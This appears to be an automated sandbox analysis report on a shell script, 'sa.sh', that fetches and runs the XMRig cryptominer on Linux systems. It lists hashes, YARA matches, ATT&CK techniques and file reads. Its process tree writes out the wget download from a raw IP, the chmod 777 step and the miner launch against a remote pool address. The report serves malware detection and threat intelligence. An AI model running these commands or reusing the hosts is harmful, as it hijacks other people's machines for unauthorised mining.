Analysis
-
max time kernel
29s -
max time network
29s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
29-12-2024 23:44
Static task
static1
Behavioral task
behavioral1
Sample
sa.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
sa.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
sa.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
sa.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
sa.sh
-
Size
438B
-
MD5
52f6ef322dd61383cc5f03bba971ecc1
-
SHA1
a540ec9917e63a178aa44b3f3570a54ff8c88135
-
SHA256
82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97
-
SHA512
c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral1/files/fstream-1.dat family_xmrig behavioral1/files/fstream-1.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1531 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/xmrig 1533 xmrig -
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/sys_vendor xmrig -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
description ioc Process File opened for reading /sys/devices/virtual/dmi/id/product_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_version xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/product_uuid xmrig File opened for reading /sys/devices/virtual/dmi/id/board_version xmrig File opened for reading /sys/devices/virtual/dmi/id/board_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/board_name xmrig File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_type xmrig File opened for reading /sys/devices/virtual/dmi/id/chassis_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_version xmrig File opened for reading /sys/devices/virtual/dmi/id/product_serial xmrig File opened for reading /sys/devices/virtual/dmi/id/bios_date xmrig -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo xmrig -
Reads CPU attributes 1 TTPs 49 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index9/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/base_frequency xmrig File opened for reading /sys/devices/system/cpu/possible xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index6/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/cluster_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/die_cpus xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index4/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/thread_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/core_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/topology/physical_package_id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/coherency_line_size xmrig File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/topology/core_siblings xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/size xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index3/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index5/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index7/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/online xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/id xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/type xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpu_capacity xmrig File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/number_of_sets xmrig File opened for reading /sys/devices/system/cpu/cpu0/cpufreq/cpuinfo_max_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/acpi_cppc/nominal_freq xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/physical_line_partition xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index8/shared_cpu_map xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index0/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index1/level xmrig File opened for reading /sys/devices/system/cpu/cpu0/cache/index2/size xmrig -
Enumerates kernel/hardware configuration 1 TTPs 24 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/devices/system/node/node0/access0/initiators/write_bandwidth xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/write_latency xmrig File opened for reading /sys/bus/soc/devices xmrig File opened for reading /sys/devices/system/node/node0/meminfo xmrig File opened for reading /sys/bus/dax/devices xmrig File opened for reading /sys/devices/system/node/node0/access1/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_bandwidth xmrig File opened for reading /sys/firmware/dmi/tables/smbios_entry_point xmrig File opened for reading /sys/devices/system/cpu xmrig File opened for reading /sys/devices/cpu_atom/cpus xmrig File opened for reading /sys/devices/system/node/online xmrig File opened for reading /sys/devices/system/node/node0/hugepages xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/free_hugepages xmrig File opened for reading /sys/devices/system/node/node0/access0/initiators/read_latency xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.cpus xmrig File opened for reading /sys/fs/cgroup/cpuset/cpuset.mems xmrig File opened for reading /sys/devices/cpu_core/cpus xmrig File opened for reading /sys/kernel/mm/hugepages xmrig File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/system/node/node0/cpumap xmrig File opened for reading /sys/devices/system/node/node0/hugepages/hugepages-2048kB/nr_hugepages xmrig File opened for reading /sys/devices/virtual/dmi/id xmrig File opened for reading /sys/firmware/dmi/tables/DMI xmrig -
description ioc Process File opened for reading /proc/11/status pgrep File opened for reading /proc/462/status pgrep File opened for reading /proc/1192/status pgrep File opened for reading /proc/1245/status pgrep File opened for reading /proc/323/cmdline pgrep File opened for reading /proc/1111/status pgrep File opened for reading /proc/84/cmdline pgrep File opened for reading /proc/79/status pgrep File opened for reading /proc/85/cmdline pgrep File opened for reading /proc/967/cmdline pgrep File opened for reading /proc/561/cmdline pgrep File opened for reading /proc/82/status pgrep File opened for reading /proc/166/cmdline pgrep File opened for reading /proc/80/status pgrep File opened for reading /proc/475/status pgrep File opened for reading /proc/1160/status pgrep File opened for reading /proc/523/status pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/682/cmdline pgrep File opened for reading /proc/1160/status pgrep File opened for reading /proc/83/status pgrep File opened for reading /proc/735/cmdline pgrep File opened for reading /proc/1310/status pgrep File opened for reading /proc/1313/cmdline pgrep File opened for reading /proc/166/cmdline pgrep File opened for reading /proc/203/status pgrep File opened for reading /proc/1156/cmdline pgrep File opened for reading /proc/98/cmdline pgrep File opened for reading /proc/406/status pgrep File opened for reading /proc/1051/cmdline pgrep File opened for reading /proc/15/cmdline pgrep File opened for reading /proc/160/cmdline pgrep File opened for reading /proc/162/cmdline pgrep File opened for reading /proc/1154/status pgrep File opened for reading /proc/1180/status pgrep File opened for reading /proc/1231/cmdline pgrep File opened for reading /proc/165/status pgrep File opened for reading /proc/167/cmdline pgrep File opened for reading /proc/1121/cmdline pgrep File opened for reading /proc/1129/cmdline pgrep File opened for reading /proc/1045/cmdline pgrep File opened for reading /proc/1129/cmdline pgrep File opened for reading /proc/470/status pgrep File opened for reading /proc/735/status pgrep File opened for reading /proc/411/status pgrep File opened for reading /proc/1137/status pgrep File opened for reading /proc/1074/cmdline pgrep File opened for reading /proc/1263/status pgrep File opened for reading /proc/1200/status pgrep File opened for reading /proc/461/status pgrep File opened for reading /proc/1200/cmdline pgrep File opened for reading /proc/173/status pgrep File opened for reading /proc/1092/status pgrep File opened for reading /proc/1513/cmdline pgrep File opened for reading /proc/26/cmdline pgrep File opened for reading /proc/492/cmdline pgrep File opened for reading /proc/165/cmdline pgrep File opened for reading /proc/1137/cmdline pgrep File opened for reading /proc/967/cmdline pgrep File opened for reading /proc/1/cmdline pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/30/cmdline pgrep File opened for reading /proc/581/cmdline pgrep File opened for reading /proc/171/cmdline pgrep -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig wget
Processes
-
/tmp/sa.sh/tmp/sa.sh1⤵PID:1503
-
/usr/bin/nohupnohup bash /tmp/sa.sh nobg1⤵PID:1504
-
/usr/local/sbin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/usr/local/bin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/usr/sbin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/usr/bin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/sbin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/bin/bashbash /tmp/sa.sh nobg1⤵PID:1504
-
/usr/bin/wgetwget http://81.28.10.96/xmrig --no-check-certificate -O xmrig2⤵
- Writes file to tmp directory
PID:1505
-
-
/bin/chmodchmod 777 xmrig2⤵
- File and Directory Permissions Modification
PID:1531
-
-
/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1532
-
-
/bin/sleepsleep 52⤵PID:1534
-
-
/tmp/xmrig./xmrig --url 193.232.178.53:80 -B2⤵
- Executes dropped EXE
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
PID:1533
-
-
/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1542
-
-
/bin/sleepsleep 52⤵PID:1543
-
-
/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1544
-
-
/bin/sleepsleep 52⤵PID:1545
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
2System Checks
2Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7.9MB
MD58f4fff0ded94f1141768220906abfbb8
SHA1ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA256b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
SHA5120096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee